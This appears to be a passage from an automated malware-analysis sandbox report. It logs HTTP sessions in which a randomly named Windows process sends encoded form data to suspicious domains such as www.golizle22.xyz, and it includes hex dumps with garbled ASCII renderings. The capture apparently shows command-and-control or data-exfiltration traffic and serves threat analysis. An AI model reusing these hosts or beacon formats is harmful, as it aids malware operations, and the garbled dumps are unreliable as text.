85 9a 8a 62 4f 0b 9e 90 67 7a a0 dd 23 49 0f ae 88 8d a9 3e 36 ca 75 28 01 b2 7e 7d 79 7c 7a 5f 05 6f 24 72 2a 57 d2 3f 64 c0 e8 2c 21 a5 b5 2a f4 fd 8c 09 6f 67 da b6 78 0c 35 cf 6c 7e 64 5e 26 1b df 54 93 9d 51 54 57 9b 2b a8 4a 45 d2 ef 24 b1 df cd 3d de 4a 76 76 17 c3 03 64 35 35 26 21 dd d4 09 20 4b 88 13 e9 [TRUNCATED] Data Ascii: RKO0WXA{0m}!q7MY^$JtHl'.mS#p+6\nWKlvF:52zlb&`-}S%K6!fjj@@#P`GYVsMn:cwXMnBRo;\|9p:dbOgz#I>6u(~}y\|z_o$rW?d,!ogx5l~d^&TQTW+JE$=Jvvd55&! K]8m`wcG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49994	119.18.54.27	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:53.914181948 CEST	505	OUT	GET /ctxc/?ej6Le=zdjwxosx+nYBz3+zbsBPWm+/7ve+ekB9VgYRIagILtbm8OwwRgMV6Kxr3Il58QUpA1eFuFbhbn4bqlVkjsdXtj71u+jihQLEfVmONzp8WE9uDtKzy1Bx2zuvnmoFIjKdlKtQFkI=&An=mLdxo2Y8RLRh HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.wonders8.live Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:33:54.876702070 CEST	844	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:33:54 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 01 Mar 2021 15:47:38 GMT Accept-Ranges: bytes Content-Length: 583 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 20 20 2e 6c 6f 61 64 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 66 33 66 33 66 33 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 36 70 78 20 73 6f 6c 69 64 20 23 33 34 39 38 64 62 3b 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30 25 3b 20 77 69 64 74 68 3a 20 31 32 30 70 78 3b 20 68 65 69 67 68 74 3a 20 31 32 30 70 78 3b 20 61 6e 69 6d 61 74 69 6f 6e 3a 20 73 70 69 6e 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 74 6f 70 3a 20 34 30 25 3b 20 6c 65 66 74 3a 20 34 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 40 6b 65 79 66 72 61 6d 65 73 20 73 70 69 6e 20 7b 20 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 30 64 65 67 29 3b 20 7d 20 31 30 30 25 20 7b 20 74 72 61 6e 73 66 6f 72 6d 3a 20 72 6f 74 61 74 65 28 33 36 30 64 65 67 29 3b 20 7d 20 7d 0a 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0a [TRUNCATED] Data Ascii: <html><head> <style> .loader { border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 120px; height: 120px; animation: spin 2s linear infinite; position: fixed; top: 40%; left: 40%; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } </style> <script language="Javascript">var _skz_pid = "9POBEX80W";</script> <script language="Javascript" src="http://cdn.jsinit.directfwd.com/sk-jspark_init.php"></script></head><body><div class="loader" id="sk-loader"></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49995	104.21.5.125	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:33:59.921257019 CEST	763	OUT	POST /kpbt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.golizle22.xyz Origin: http://www.golizle22.xyz Connection: close Content-Length: 210 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.golizle22.xyz/kpbt/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 57 78 36 58 6c 4c 73 2f 43 4e 33 66 39 73 31 67 76 44 5a 37 32 6d 50 75 47 63 4b 44 66 59 6a 6a 37 4c 54 44 56 4d 76 4f 53 55 58 68 62 52 57 36 54 38 4a 53 7a 61 32 43 48 4b 34 53 49 7a 79 30 5a 4b 30 34 43 54 63 5a 58 47 44 67 5a 47 6e 67 4e 36 36 34 59 39 2b 38 35 7a 79 76 6d 6d 6f 65 47 53 55 79 68 74 2b 7a 53 64 5a 66 2b 31 54 6c 37 5a 72 6c 2f 31 48 4f 43 4b 66 31 77 62 39 7a 6e 49 45 6a 4c 66 6f 2b 65 6b 6b 56 77 77 30 6f 33 59 34 6c 51 59 42 33 4f 4a 52 52 76 79 6b 44 31 38 4b 42 41 2b 6d 6f 2f 42 7a 41 30 59 79 72 68 74 46 51 52 71 6c 30 6b 41 56 48 4b 79 64 7a 66 50 48 33 53 4e 45 34 2b 53 4b 4f Data Ascii: ej6Le=Wx6XlLs/CN3f9s1gvDZ72mPuGcKDfYjj7LTDVMvOSUXhbRW6T8JSza2CHK4SIzy0ZK04CTcZXGDgZGngN664Y9+85zyvmmoeGSUyht+zSdZf+1Tl7Zrl/1HOCKf1wb9znIEjLfo+ekkVww0o3Y4lQYB3OJRRvykD18KBA+mo/BzA0YyrhtFQRql0kAVHKydzfPH3SNE4+SKO
Oct 7, 2024 12:34:00.756877899 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:34:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LL37YFXTRqAIbPLbXeOE%2FYraQGhB566vXWDUjHGuYJaxdaNdgUuFHNG27XbnLVWYWiOp0qb%2BLnC7wfYIXW2SDAIa7v9hfLKS2%2BIP3L8f4%2FNQbofDeS6lHXze%2Bbj2IkN8iEmETw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced3c781af6438a-EWR Content-Encoding: gzip Data Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb [TRUNCATED] Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Oct 7, 2024 12:34:00.756895065 CEST	195	IN	Data Raw: 7f f7 6f fe 3a 4a d9 38 af d0 4f 50 c8 86 3d 04 67 48 81 df 34 f2 95 98 4f 72 9d ad ae ca c6 ed d3 a0 a5 72 bb 02 c4 04 14 47 d0 72 b5 9a c3 e3 24 ae 6f ae 80 6c 40 9e ba b0 f1 f5 ad 77 5b 65 0e 30 b8 1d 7a 54 d0 1c e0 0b 31 7e 1b 10 15 fc 87 0d Data Ascii: o:J8OP=gH4OrrGr$ol@w[e0zT1~\|jXK~V[g0?SI$@AH meN/wYOb<3^x?e0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49996	104.21.5.125	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:02.461504936 CEST	787	OUT	POST /kpbt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.golizle22.xyz Origin: http://www.golizle22.xyz Connection: close Content-Length: 234 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.golizle22.xyz/kpbt/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 57 78 36 58 6c 4c 73 2f 43 4e 33 66 38 4d 46 67 74 6b 74 37 2f 6d 50 78 49 38 4b 44 57 34 6a 6e 37 4c 76 44 56 4f 44 67 53 6d 7a 68 65 46 61 36 55 4f 68 53 2b 36 32 43 54 36 34 58 46 54 79 2f 5a 4b 34 77 43 52 34 5a 58 47 58 67 5a 48 33 67 4e 4e 6d 35 59 74 2b 2b 32 54 79 68 69 6d 6f 65 47 53 55 79 68 74 61 56 53 64 42 66 2b 46 6a 6c 36 34 72 6d 32 56 47 38 55 61 66 31 30 62 39 33 6e 49 46 32 4c 64 63 55 65 6d 63 56 77 77 45 6f 33 4d 73 71 5a 59 42 39 54 5a 51 41 72 67 4e 4e 37 36 54 38 49 66 65 4c 6a 52 33 31 78 75 7a 78 39 65 46 7a 44 36 46 32 6b 43 4e 31 4b 53 64 5a 64 50 2f 33 41 61 49 66 78 6d 76 74 30 6b 50 59 4f 46 66 4b 6e 6c 35 4d 66 6a 45 69 72 2b 5a 6a 37 77 3d 3d Data Ascii: ej6Le=Wx6XlLs/CN3f8MFgtkt7/mPxI8KDW4jn7LvDVODgSmzheFa6UOhS+62CT64XFTy/ZK4wCR4ZXGXgZH3gNNm5Yt++2TyhimoeGSUyhtaVSdBf+Fjl64rm2VG8Uaf10b93nIF2LdcUemcVwwEo3MsqZYB9TZQArgNN76T8IfeLjR31xuzx9eFzD6F2kCN1KSdZdP/3AaIfxmvt0kPYOFfKnl5MfjEir+Zj7w==
Oct 7, 2024 12:34:03.309200048 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:34:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jdca9yCKIUd0ide0nZ31LWurKy8GwdMBWW1LfuqAS7NIm6v%2BfLYCgBqvOBsBSj%2BC8nIw5x8UAtAI%2FaiqCgiB4Jj8TNxjcn3gs8r8z%2BOqymherLgkh3E%2FFXuRLqule9%2Bk66CpOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced3c881df40fa5-EWR Content-Encoding: gzip Data Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb [TRUNCATED] Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Oct 7, 2024 12:34:03.309217930 CEST	197	IN	Data Raw: d8 97 7f f7 6f fe 3a 4a d9 38 af d0 4f 50 c8 86 3d 04 67 48 81 df 34 f2 95 98 4f 72 9d ad ae ca c6 ed d3 a0 a5 72 bb 02 c4 04 14 47 d0 72 b5 9a c3 e3 24 ae 6f ae 80 6c 40 9e ba b0 f1 f5 ad 77 5b 65 0e 30 b8 1d 7a 54 d0 1c e0 0b 31 7e 1b 10 15 fc Data Ascii: o:J8OP=gH4OrrGr$ol@w[e0zT1~\|jXK~V[g0?SI$@AH meN/wYOb<3^x?e0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49998	104.21.5.125	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:05.032109976 CEST	1800	OUT	POST /kpbt/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Host: www.golizle22.xyz Origin: http://www.golizle22.xyz Connection: close Content-Length: 1246 Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Referer: http://www.golizle22.xyz/kpbt/ User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Data Raw: 65 6a 36 4c 65 3d 57 78 36 58 6c 4c 73 2f 43 4e 33 66 38 4d 46 67 74 6b 74 37 2f 6d 50 78 49 38 4b 44 57 34 6a 6e 37 4c 76 44 56 4f 44 67 53 6d 37 68 65 51 47 36 58 76 68 53 78 61 32 43 51 36 34 57 46 54 79 75 5a 4b 67 30 43 52 30 76 58 45 76 67 61 67 33 67 4c 2f 4f 35 57 74 2b 2b 75 54 79 67 6d 6d 6f 75 47 57 77 32 68 74 71 56 53 64 42 66 2b 48 37 6c 7a 4a 72 6d 36 31 48 4f 43 4b 65 30 77 62 39 66 6e 4d 70 6d 4c 64 59 75 65 79 6f 56 77 51 55 6f 31 35 34 71 57 59 42 7a 51 5a 51 59 72 67 52 47 37 2b 36 44 49 66 36 74 6a 57 2f 31 79 2f 32 79 74 4d 74 75 58 71 56 36 37 31 39 41 50 69 74 4e 54 4f 7a 6f 4e 34 45 38 38 79 6a 30 39 69 66 61 43 55 2b 70 74 6e 31 36 44 79 46 75 68 2f 4a 6f 68 51 4d 55 54 30 71 72 77 76 2b 34 6c 2b 6b 74 4a 59 45 58 6c 64 6a 72 76 67 55 45 50 6d 69 78 52 76 67 4e 53 64 49 38 48 77 4a 65 6e 54 78 34 51 52 66 6e 39 54 39 44 51 59 44 34 73 52 53 31 52 6f 4b 32 6b 73 4c 72 48 6d 51 30 30 6f 53 6d 6e 6f 75 62 65 70 41 6b 50 52 42 54 36 54 46 69 42 62 50 72 62 62 49 32 71 74 55 65 [TRUNCATED] Data Ascii: ej6Le=Wx6XlLs/CN3f8MFgtkt7/mPxI8KDW4jn7LvDVODgSm7heQG6XvhSxa2CQ64WFTyuZKg0CR0vXEvgag3gL/O5Wt++uTygmmouGWw2htqVSdBf+H7lzJrm61HOCKe0wb9fnMpmLdYueyoVwQUo154qWYBzQZQYrgRG7+6DIf6tjW/1y/2ytMtuXqV6719APitNTOzoN4E88yj09ifaCU+ptn16DyFuh/JohQMUT0qrwv+4l+ktJYEXldjrvgUEPmixRvgNSdI8HwJenTx4QRfn9T9DQYD4sRS1RoK2ksLrHmQ00oSmnoubepAkPRBT6TFiBbPrbbI2qtUeHkKfGbua+0I9eztl/Xgi8tg800IYOL9+L8QNmwzqkad091hwMplAzeZFIHD5rCXc1ltRC++x9Bzsq4NMeGtRrUAx1UKYdnTEvK5pP7aP/4VVIP2Fq73dNRY2W95boirRPk0LxwvUVSudEOKG7SbW0d6EpX00wMR2I5RP4tnfv915JUzthb1Z3LZaYDAs+lsmemoO4S4Nm2quHfcK6C2PQkXRKjKNw+NrUgUNCsgQgkNmbXezmysA/UzpDGMV2SFjEjpVm4qNR0diCVSwAZlcqR/pS6YkWh6jMb4H7rPiilxJ9i2SqKfTOzF26icXrpTuQQiyBLsWkbdFZdtl69iAW944/n7T4TLvJSyildiuJ7OmfyXwIdHTs1WC/93wgJzrIorUSO4T/ClGT+n/VW7V5RQwXRMK4cWVsW3ZTPZLEs2vu4oAvXZPjb2dFoIv0JuGp4tR6E/evCSNLeC+lR+CWzZDmwwb341oBEKe0dbxKwQfEchdKWJFAE4ZLZEErJP8QNPY8xD0NK/XRnzZz4segeNKuutGIbUKOqbnk5a2tVYdpiK0vtPKJHZi5pegiIBxwaZFo71zmwmPqZ36ah3Nz91esYFkkgayFQPo8A5D2BPTWS/oTu9vbxYjKMWM1J8pCuy1neStZw5FB70w/0n+MOA0WO6sWJOfRI [TRUNCATED]
Oct 7, 2024 12:34:05.847724915 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:34:05 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DlypyjFHiEkxP%2Bd7LkTEOG1O1ahbNnUfRqpTE%2F8oY2YD5rdrOwG22n82myIHMqH6%2BgiKJ9DcTzCK6DWaoZPrPeo%2FELQyrk8ZyEtk6Rlv%2BhUhG60qzttPcdtsJRWKZKsQa0Wg0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ced3c97ff1141df-EWR Content-Encoding: gzip Data Raw: 32 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 64 54 ed 8a db 3a 10 fd 1f e8 3b cc 7a 29 74 21 de c8 59 87 16 db 31 2d fd a0 17 4a ef 42 17 2e fd 29 5b e3 68 58 59 72 a5 89 93 b4 f4 dd 2f 72 92 fd 68 35 20 4b e3 33 a3 99 33 23 55 17 1f fe 7d 7f f7 fd f6 23 68 ee 4d 3d ab e2 07 02 1f 0c ae 13 8d b4 d1 5c 64 42 bc 4c e2 2f 94 aa 9e 55 3d b2 04 2b 7b 5c 27 23 e1 6e 70 9e 13 68 9d 65 b4 bc 4e 76 a4 58 af 15 8e d4 62 3a 6d e6 40 96 98 a4 49 43 2b 0d ae b3 39 04 ed c9 de a7 ec d2 8e 78 6d 5d 02 8b 7a 56 31 b1 c1 1a 72 91 c3 57 c7 f0 c9 6d ad 7a 31 ab 16 47 7d 35 05 55 bf ed 51 91 84 57 83 c7 0e 7d 48 5b 67 9c 4f 43 ab b1 c7 42 49 7f 7f f5 ab 71 ea f0 ab 91 ed fd c6 47 17 47 48 71 29 84 b8 a0 3e 86 2b 2d ff fe 5d 2d 8e 0e ab c5 29 af 68 76 ce fc 68 02 97 79 9e 97 d0 4b bf 21 5b 88 b2 73 96 0b b0 ce f7 d2 40 96 0f fb c5 52 0c 7b 78 e7 49 9a 39 7c 46 33 22 53 2b e7 10 a4 0d 69 40 4f 5d 09 4f 48 2c e1 af a8 e0 b2 eb ba 32 b2 ab 68 fc 83 77 b9 65 57 42 4f 36 7d e6 23 a9 21 8e a7 06 8c 7b 4e a5 a1 8d 2d a0 45 cb [TRUNCATED] Data Ascii: 2d8dT:;z)t!Y1-JB.)[hXYr/rh5 K33#U}#hM=\dBL/U=+{\'#npheNvXb:m@IC+9xm]zV1rWmz1G}5UQW}H[gOCBIqGGHq)>+-]-)hvhyK![s@R{xI9\|F3"S+i@O]OH,2hweWBO6}#!{N-EK/1);. brMpfXx]168Jg8HJ'jrkCGU3L\Bg1Hln>^j4[Z5chhk/P>O(=5M'<r9SSM[!E@G#F,[c]>yl
Oct 7, 2024 12:34:05.847742081 CEST	195	IN	Data Raw: 7f f7 6f fe 3a 4a d9 38 af d0 4f 50 c8 86 3d 04 67 48 81 df 34 f2 95 98 4f 72 9d ad ae ca c6 ed d3 a0 a5 72 bb 02 c4 04 14 47 d0 72 b5 9a c3 e3 24 ae 6f ae 80 6c 40 9e ba b0 f1 f5 ad 77 5b 65 0e 30 b8 1d 7a 54 d0 1c e0 0b 31 7e 1b 10 15 fc 87 0d Data Ascii: o:J8OP=gH4OrrGr$ol@w[e0zT1~\|jXK~V[g0?SI$@AH meN/wYOb<3^x?e0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49999	104.21.5.125	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 12:34:07.574522018 CEST	505	OUT	GET /kpbt/?An=mLdxo2Y8RLRh&ej6Le=bzS3m8wIdYLAo6JC2B8v6DjkcYKoJ+/o0NmGFeD5SFiVCQOeD71i1fiBX/Z3MR+4fZ4gDTM+AXXLFXHhSs/mG9Ow8FixmQY8Mzsb0tyXAIso2XGTy+nTpErXCIb5tNtL4I1fOo4= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Host: www.golizle22.xyz Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Oct 7, 2024 12:34:08.398132086 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Mon, 07 Oct 2024 10:34:08 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQpy3yq3u3lgGcrRTufJL2fOEYn2ANFOb%2FgwsKv8PCDybak1Mlt79eFmPM7Nd%2BcdtCRHAGAX6FLCfT1S8uhVu3ZdUzmS95LjP%2F2KF%2F9902u0BqHHwDfBnUjsAoyoXaI7JH9fQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8ced3ca7eac88cc6-EWR Data Raw: 34 65 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 [TRUNCATED] Data Ascii: 4e3<!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left:
Oct 7, 2024 12:34:08.398183107 CEST	758	IN	Data Raw: 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 Data Ascii: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50000	3.33.130.190	80	1460	C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe

Timestamp	Bytes transferred	Direction	Data
